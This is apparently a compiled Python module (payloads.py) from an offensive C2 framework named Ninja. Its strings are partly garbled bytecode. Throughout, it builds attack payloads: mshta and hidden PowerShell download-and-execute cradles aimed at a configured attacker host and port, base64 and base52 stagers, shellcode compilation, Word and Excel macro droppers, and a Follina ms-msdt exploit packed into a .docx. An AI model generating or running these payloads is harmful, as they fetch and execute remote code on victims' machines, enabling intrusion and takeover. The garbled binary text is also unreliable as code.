
    4iL                         d dl mZmZ d dlmZ d dlmZ d dlT d dlZd dl Z d dl	m
Z
  e            Zd Zd Zd	 Zd
 Zd Zd Zd Zd Zd Zd Zd Zd Zd Zd Zd ZdS )    )systempopen)Console)config)*N)Pathc                     t           j                            d           t          r	 t           j                            dt           j         dt           j         t           j                    t           j                            dt           j         dt           j         t           j         d           n	 t           j                            dt           j         dt           j         t           j                    t           j                            dt           j         dt           j         t           j         d           t                              d           d S )	Nz9
[bold italic white][-] HTA-Payloads[/ bold italic white]z&[bold red]->[/bold red] mshta https://:z5[bold red]->[/bold red] powershell -c "mshta https://"z%[bold red]->[/bold red] mshta http://z4[bold red]->[/bold red] powershell -c "mshta http://z&[green][+] Created HTA-Payload[/green])	r   PAYLOADSappendSSLHOSTPORThta_payloadconsolelog     !/home/kali/Ninja/core/payloads.pyhta_paylodsr      so   
OWXXX
 J wwwV\Vawcicuwwxxx   JX^Xc   J   Jflfq   Jsy  tF   J   J   J  	K  	K  	K  	K 	!vv{vvU[U`vbhbtvvwww   IW]Wb   I   Iekep   Irx  sE   I   I   I  	J  	J  	JKK899999r   c                     d} d}d}t           rl|                    dt          j                                      dt          j                                      dt
                                        dd          }nk|                    dt          j                                      dt          j                                      dt
                                        dd	          }t                              t          |d
                    }|                     d|	                    d
                    }|                    d|	                    d
                    }	 t          j
                            d           t          j
                            d|            t          j
                            d           t          j
                            d|            t                              d           d S )NzvStart-Job -scriptblock {iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('{payload}')))}Start-Process powershell -ArgumentList "iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('{payload}')))" -WindowStyle Hidden$V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;$S=$V.DownloadString('{HTTP}://{ip}:{port}{raw}');IEX($s){ip}{port}{raw}{HTTP}httpshttpUTF-8	{payload}z;
[bold italic white][-] Powershell Job[/ bold italic white][bold red]->[/bold red] z?
[bold italic white][-] Powershell Process[/ bold italic white]z@[green][+] Created Powershell Start-Job & Start-Process [/green])r   replacer   r   r   raw_payloadbase64	b64encode	bytearraydecoder   r   r   r   )commandJcommandPpayloadJOBPROCESSs        r   pwsh_jobr/      s    HH nH TG
 N//&&+66>>xUU]]^egrss{{  }E  GN  O  O//&&+66>>xUU]]^egrss{{  }E  GM  N  Ny'::;;G


;w(?(?
@
@C{GNN7,C,CDDG
OYZZZ
O;c;;<<<
O]^^^
O?g??@@@KKRSSSSSr   c                  $   d} d}t           rl|                    dt          j                                      dt          j                                      dt
                                        dd          }nk|                    dt          j                                      dt          j                                      dt
                                        dd          }t                              t          |d	                    }|                     d
|	                    d	                    }	 t          j
                            d           t          j
                            d|            t                              d           d S )N]iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('{payload}')))z$V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;$S=$V.DownloadString('{HTTP}://{ip}:{port}{hjf}');IEX($s)r   r   z{hjf}r   r   r    r!   r"   z<
[bold italic white][-] Powershell File[/ bold italic white]r#   z*[green][+] Created Powershell File[/green])r   r$   r   r   r   hjf_payloadr&   r'   r(   r)   r   r   r   r   )commandFr,   FILEs      r   	pwsh_filer5   0   s\   nH TG
 M//&&+66>>xUU]]^efqrrzz  |D  FM  N  N//&&+66>>xUU]]^efqrrzz  |D  FL  M  My'::;;GK)@)@AAD
OZ[[[
O<d<<===KK<=====r   c                  $   d} d}t           rl|                    dt          j                                      dt          j                                      dt
                                        dd          }nk|                    dt          j                                      dt          j                                      dt
                                        dd          }t                              t          |d	                    }|                     d
|	                    d	                    }	 t          j
                            d           t          j
                            d|            t                              d           d S )Nr1   z$V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;$S=$V.DownloadString('{HTTP}://{ip}:{port}{hjfs}');IEX($s)r   r   z{hjfs}r   r   r    r!   r"   z;
[bold italic white][-] Powershell SCT[/ bold italic white]r#   z)[green][+] Created Powershell SCT[/green])r   r$   r   r   r   hjfs_payloadr&   r'   r(   r)   r   r   r   r   )r3   r,   SCTs      r   pwsh_sctr9   A   s\   nH UG
 O//&&+66>>xUU]]^fgstt||  ~F  HO  P  P//&&+66>>xUU]]^fgstt||  ~F  HN  O  Oy'::;;G


;w(?(?
@
@C
OYZZZ
O;c;;<<<KK;<<<<<r   c                  t   d} d}d}|                      dt          j                                       dt          j                                       dt                    } |                     dt          j                                       dt          j                                       dt                    }|                     dt          j                                       dt          j                                       dt                    }t
          rC|                      dt          j                                       dt          j                                       dt                                         dd          } |                     dt          j                                       dt          j                                       dt                                         dd          }|                     dt          j                                       dt          j                                       dt                                         dd          }nA|                      dt          j                                       dt          j                                       dt                                         dd	          } |                     dt          j                                       dt          j                                       dt                                         dd	          }|                     dt          j                                       dt          j                                       dt                                         dd	          }	 t          j                            d
           t          j                            d|             t          j                            d|            t          j                            d|            t          	                    d           d S )Nzxpowershell -w hidden "$h = (New-Object Net.WebClient).DownloadString('{HTTP}://{ip}:{port}{raw}');Invoke-Expression $h;"zapowershell -w hidden "IEX(New-Object Net.WebClient).DownloadString('{HTTP}://{ip}:{port}{raw}');"zopowershell -w hidden "Invoke-Expression(New-Object Net.WebClient).DownloadString('{HTTP}://{ip}:{port}{raw}');"r   r   r   r   r   r    z<
[bold italic white][-] Powershell Misc[/ bold italic white]r#   z5[green][+] Created Simple Powershell Payloads[/green])
r$   r   r   r   r%   r   r   r   r   r   r,   payload2payload3s      r   simple_payloadsr>   R   s    OGxH GHooffk22::8V[QQYYZacnooG44<<Xv{SS[[\cepqqH44<<Xv{SS[[\cepqqH
 O//&&+66>>xUU]]^efqrrzz  |D  FM  N  N##FFK88@@6;WW__`ghstt||  ~F  HO  P  P##FFK88@@6;WW__`ghstt||  ~F  HO  P  P//&&+66>>xUU]]^efqrrzz  |D  FL  M  M##FFK88@@6;WW__`ghstt||  ~F  HN  O  O##FFK88@@6;WW__`ghstt||  ~F  HN  O  O
OZ[[[
O?g??@@@
O@h@@AAA
O@h@@AAAKKGHHHHHr   c                  j   d} d}d}t           rC|                     dt          j                                      dt          j                                      dt
                                        dd          } |                    dt          j                                      dt          j                                      dt
                                        dd          }|                    dt          j                                      dt          j                                      dt
                                        dd          }nA|                     dt          j                                      dt          j                                      dt
                                        dd	          } |                    dt          j                                      dt          j                                      dt
                                        dd	          }|                    dt          j                                      dt          j                                      dt
                                        dd	          }	 t          j                            d
           t          j                            d|             t          j                            d|            t          j                            d|            t          	                    d           d S )Nz~powershell -w hidden "$h = (New-Object Net.WebClient).DownloadString('{HTTP}://{ip}:{port}{b64stager}');Invoke-Expression $h;"zgpowershell -w hidden "IEX(New-Object Net.WebClient).DownloadString('{HTTP}://{ip}:{port}{b64stager}');"zupowershell -w hidden "Invoke-Expression(New-Object Net.WebClient).DownloadString('{HTTP}://{ip}:{port}{b64stager}');"r   r   z{b64stager}r   r   r    z>
[bold italic white][-] Powershell Base64[/ bold italic white]r#   z,[green][+] Created Powershell Base64[/green])
r   r$   r   r   r   
b64_stagerr   r   r   r   r;   s      r   pwsh_base64rA   k   s    UG~H MH
 U//&&+66>>xUU]]^kmwxx  A  A  BJ  LS  T  T##FFK88@@6;WW__`moyzz  C  C  DL  NU  V  V##FFK88@@6;WW__`moyzz  C  C  DL  NU  V  V//&&+66>>xUU]]^kmwxx  A  A  BJ  LR  S  S##FFK88@@6;WW__`moyzz  C  C  DL  NT  U  U##FFK88@@6;WW__`moyzz  C  C  DL  NT  U  U
O\]]]
O?g??@@@
O@h@@AAA
O@h@@AAAKK>?????r   c                  ^   d} d}d}d}t           r|                     dt          j                                      dt          j                                      dt
                                        dd	          } |                    dt          j                                      dt          j                                      dt
                                        dd	          }|                    dt          j                                      dt          j                                      dt
                                        dd	          }|                    dt          j                                      dt          j                                      d
t                                        dd	          }n|                     dt          j                                      dt          j                                      dt
                                        dd          } |                    dt          j                                      dt          j                                      dt
                                        dd          }|                    dt          j                                      dt          j                                      dt
                                        dd          }|                    dt          j                                      dt          j                                      d
t                                        dd          }	 t          j                            d           t          j                            d|             t          j                            d|            t          j                            d|            t          j                            d|            t          
                    d           d S )Nz~powershell -w hidden "$h = (New-Object Net.WebClient).DownloadString('{HTTP}://{ip}:{port}{b52stager}');Invoke-Expression $h;"zgpowershell -w hidden "IEX(New-Object Net.WebClient).DownloadString('{HTTP}://{ip}:{port}{b52stager}');"zupowershell -w hidden "Invoke-Expression(New-Object Net.WebClient).DownloadString('{HTTP}://{ip}:{port}{b52stager}');"aX  powershell -w hidden $s=(new-object net.webclient).DownloadString('{HTTP}://{ip}:{port}{b52payload}');$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256;if($vv -gt 0){$d+=[char][Int32]$vv}$v=[Int32]($v/256)}}$c+=1;};[array]::Reverse($d);iex([String]::Join('',$d));r   r   {b52stager}r   r   z{b52payload}r    z>
[bold italic white][-] Powershell Base52[/ bold italic white]r#   z,[green][+] Created Powershell Base52[/green])r   r$   r   r   r   
b52_stagerb52_payloadr   r   r   r   )r,   r<   r=   payload4s       r   pwsh_base52rG      s    UG~H MH nH
 	V//&&+66>>xUU]]^klvww  AI  KR  S  S##FFK88@@6;WW__`mnxyy  B  B  CK  MT  U  U##FFK88@@6;WW__`mnxyy  B  B  CK  MT  U  U##FFK88@@6;WW__`noz{{  D  D  EM  OV  W  W//&&+66>>xUU]]^klvww  AI  KQ  R  R##FFK88@@6;WW__`mnxyy  B  B  CK  MS  T  T##FFK88@@6;WW__`mnxyy  B  B  CK  MS  T  T##FFK88@@6;WW__`noz{{  D  D  EM  OU  V  V
O\]]]
O?g??@@@
O@h@@AAA
O@h@@AAA
O@h@@AAAKK>?????r   c                     t          dd          } |                                 }t          rl|                    dt          j                                      dt          j                                      dt                                        dd          }nk|                    dt          j                                      dt          j                                      dt                                        dd          }t          d	d
          }|                    |           |	                                 	 d}d}t          |           t          |                                                              d          }d| }t          dd
          }|                    |           |	                                 t                              d           d S #  	 t                              dd           Y d S xY w)N"core/agents/cmd_shellcodex64.ninjarr   r   rC   r   r   r    z.utils/payloads/shellcodes/cmd_shellcodex64.asmwznnasm -f win64 utils/payloads/shellcodes/cmd_shellcodex64.asm -o utils/payloads/shellcodes/cmd_shellcodex64.binzwfor i in $(objdump -d utils/payloads/shellcodes/cmd_shellcodex64.bin |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
unsigned char sc[] = z*utils/payloads/shellcodes/cmd_shellcodex64zn[green][+] Cmd Shellcodex64 written to:[/green]  [magenta]utils/payloads/shellcodes/cmd_shellcodex64[/magenta]%[!] Please check if nasm is installedredstyleopenreadr   r$   r   r   r   rD   writecloser   r   stripr   r   )fr,   outcompile	shellcodescfinal_payloadcompileds           r   cmd_shellcodex64r_      s   1377AffhhG
 R//&&+66>>xUU]]^klvww  AI  KR  S  S//&&+66>>xUU]]^klvww  AI  KQ  R  R
?
E
ECIIgIIKKKJ C S	w9""$$**400444DcJJ}%%%  E  	F  	F  	F  	F  	FJ ;5IIIIIIs   =BG H c                     t          dd          } |                                 }t          rl|                    dt          j                                      dt          j                                      dt                                        dd          }nk|                    dt          j                                      dt          j                                      dt                                        dd          }t          d	d
          }|                    |           |	                                 	 d}d}t          |           t          |                                                              d          }d| }t          dd
          }|                    |           |	                                 t                              d           d S #  t                              dd           Y d S xY w)NrI   rJ   r   r   rC   r   r   r    z.utils/payloads/shellcodes/cmd_shellcodex86.asmrK   znnasm -f win64 utils/payloads/shellcodes/cmd_shellcodex86.asm -o utils/payloads/shellcodes/cmd_shellcodex86.binzwfor i in $(objdump -d utils/payloads/shellcodes/cmd_shellcodex86.bin |grep "^ " |cut -f2); do echo -n '\x'$i; done;echorL   rM   z*utils/payloads/shellcodes/cmd_shellcodex86zn[green][+] Cmd Shellcodex86 written to:[/green]  [magenta]utils/payloads/shellcodes/cmd_shellcodex86[/magenta]rN   rO   rP   rR   )rX   r,   rY   compile_nasm_commandextract_shellcode_commandr\   r]   r^   s           r   cmd_shellcodex86rc      s   1377AffhhG
 R//&&+66>>xUU]]^klvww  AI  KR  S  S//&&+66>>xUU]]^klvww  AI  KQ  R  R
?
E
ECIIgIIKKKJ  P %c!#$$$,--2244::4@@444DcJJ}%%%  E  	F  	F  	F  	F  	FJ;5IIIIIIs   =BG G?c                     	 t                               d          } t                              |                               d          }t          dd          }|                    |           |                                 t          	                    d           d S #  t          	                    dd	           Y d S xY w)
Nz)utils/payloads/Executables/dropper_cs.exe)filezutf-8z-utils/payloads/shellcodes/donut_shellcode.b64rK   zp[green][+] Donut Shellcode written to:[/green]  [magenta]utils/payloads/shellcodes/donut_shellcode.b64[/magenta]zL[!] Make sure donut 0.9.2 installed : pip3 install 'donut-shellcode==0.9.2' rO   rP   )
donutcreater&   r'   r)   rS   rU   rV   r   r   )r[   b64rY   s      r   donut_shellcoderi      s    qLL&QLRR	y))0099BCHH		#		  G  	H  	H  	H  	H  	Hqbjopppppps   BB C c                     t          dd          } |                                 }t          rl|                    dt          j                                      dt          j                                      dt                                        dd          }nk|                    dt          j                                      dt          j                                      dt                                        dd          }t          d	d
          }|                    |           |	                                 t                              d           d S )Nzcore/agents/word_macro.ninjarJ   r   r   {raw_payload}r   r   r    z$utils/payloads/Macros/Word_macro.vbarK   zb[green][+] Word Macro written to:[/green]  [magenta]utils/payloads/Macros/Word_macro.vba[/magenta]rS   rT   r   r$   r   r   r   r%   rU   rV   r   r   rX   r,   rY   s      r   
word_macrorn      s0   +S11AffhhG
 U//&&+66>>xUU]]^mnyzz  C  C  DL  NU  V  V//&&+66>>xUU]]^mnyzz  C  C  DL  NT  U  U
5s
;
;CIIgIIKKKKKtuuuuur   c                     t          dd          } |                                 }t          rl|                    dt          j                                      dt          j                                      dt                                        dd          }nk|                    dt          j                                      dt          j                                      dt                                        dd          }t          d	d
          }|                    |           |	                                 t                              d           d S )Nzcore/agents/Excel_macro.ninjarJ   r   r   rk   r   r   r    z%utils/payloads/Macros/Excel_macro.vbarK   zd[green][+] Excel Macro written to:[/green]  [magenta]utils/payloads/Macros/Excel_macro.vba[/magenta]rl   rm   s      r   excel_macrorp      s0   ,c22AffhhG
 U//&&+66>>xUU]]^mnyzz  C  C  DL  NU  V  V//&&+66>>xUU]]^mnyzz  C  C  DL  NT  U  U
6
<
<CIIgIIKKKKKvwwwwwr   c                      t          dd          } d}t          j        D ]
}||z   dz   }|                     |                    dd                     |                                  d S )Nzutils/payloads/oneliners.txtrK    rL   r#    )rS   r   r   rU   r$   rV   )re   payloadsis      r   log_onelinersrv      sk    	,S	1	1DH_ ! !!DJJx :3??@@@JJLLLLLr   c                     t          dd          } |                                 }|                                  d}d}d}t          rl|                    dt
          j                                      dt
          j                                      dt                                        d	d
          }nk|                    dt
          j                                      dt
          j                                      dt                                        d	d          }t          
                    t          |d                    }|                    d|                    d                    }t          
                    t          |d                    }|                    d|                    d                    }|                    d|          }t          dd          }|                    |           |                                 t          d                                          r	 t!          j        d           t          d                                          r.t'          j        d           t*                              d           t!          j        dd           t*                              d           t          dd          } |                                 }|                    d|          }t          ro|                    dt
          j                                      dt
          j                                      dt0          dz                                 d	d
          }nn|                    dt
          j                                      dt
          j                                      dt0          dz                                 d	d          }|                                  t          dd          } |                     |           |                                  t!          j        ddd           t'          j        dd           t*                              d           d S )Nzcore/agents/Follina.NinjarJ   a  ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'{Base64}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"r   r   r   r   r   r   r   r    r!   r"   z{Base64}z#utils/payloads/Follina/follina.htmlrK   z!utils/payloads/Follina/Follinadocz&utils/payloads/Follina/Follinadoc.docxz)[red][+] Old Follina Folder Removed[/red]zcore/agents/Follina-2zk[green][+] Follina HTML Payload written to:[/green]  [magenta]utils/payloads/Follina/follina.html[/magenta]z>utils/payloads/Follina/Follinadoc/word/_rels/document.xml.relsz{follina_url}z.htmlzipz"utils/payloads/Follina/Follinadoc/z*utils/payloads/Follina/Follinadoc.docx.zipzr[green][+] Follina Document Payload written to:[/green]  [magenta]utils/payloads/Follina/Follinadoc.docx[/magenta])rS   rT   rV   r   r$   r   r   r   r%   r&   r'   r(   r)   rU   r   is_dirshutilrmtreeis_fileosremover   r   copytreefollina_urlmake_archiverename)rX   templatecommandr,   r+   r.   rY   s          r   Follinar      s   (#..AvvxxHGGIII PG TG nH
 M//&&+66>>xUU]]^efqrrzz  |D  FM  N  N//&&+66>>xUU]]^efqrrzz  |D  FL  M  MYw8899G{GNN7,C,CDDGYw8899GOOJw(?(?@@Gk'22H
4c
:
:CIIhIIKKK/007799 ;	 	9:::455==?? A
	:;;;?@@@
O+-PQQQKK}~~~MsSSAffhhGOOK00G
 ]//&&+66>>xUU]]^mny  {B  oB  C  C  K  K  LT  V]  ^  ^//&&+66>>xUU]]^mny  {B  oB  C  C  K  K  LT  V\  ]  ]GGIIIMsSSAGGGGGIII
@%ImnnnI:<deeeKK  E  F  F  F  F  Fr   c                     	 t                       t                       t                       t                       t	                       t                       t                       t                       t                       t                       t                       t                       t                       t          j        st                              dd           d S 	 t#                       t          j                     d S #  t                                           Y d S xY w#  t                                           Y d S xY w)NzL[!] Donut is Disabled so if you want to use it, kindly create a new campaignzbold redrP   )r   r/   r5   r9   r>   rA   rG   rc   r_   rn   rp   rv   r   r   Donutr   r   ri   migratorprint_exceptionr   r   r   Create_Payloadsr   2  s   "





			| 	*KKfnxKyyyyy*!!!!!!!!*''))))))"!!!!!!s$   CD' #!D D$!D' $D' 'E)r}   r   r   rich.consoler   corer   core.configrz   pathlibr   r   r   r/   r5   r9   r>   rA   rG   r_   rc   ri   rn   rp   rv   r   r   r   r   r   <module>r      s                                  				      
')): : :T T T,> > >"= = ="I I I2@ @ @,@ @ @4J J J4J J J2	q 	q 	qv v vx x x  0F 0F 0Ff" " " " "r   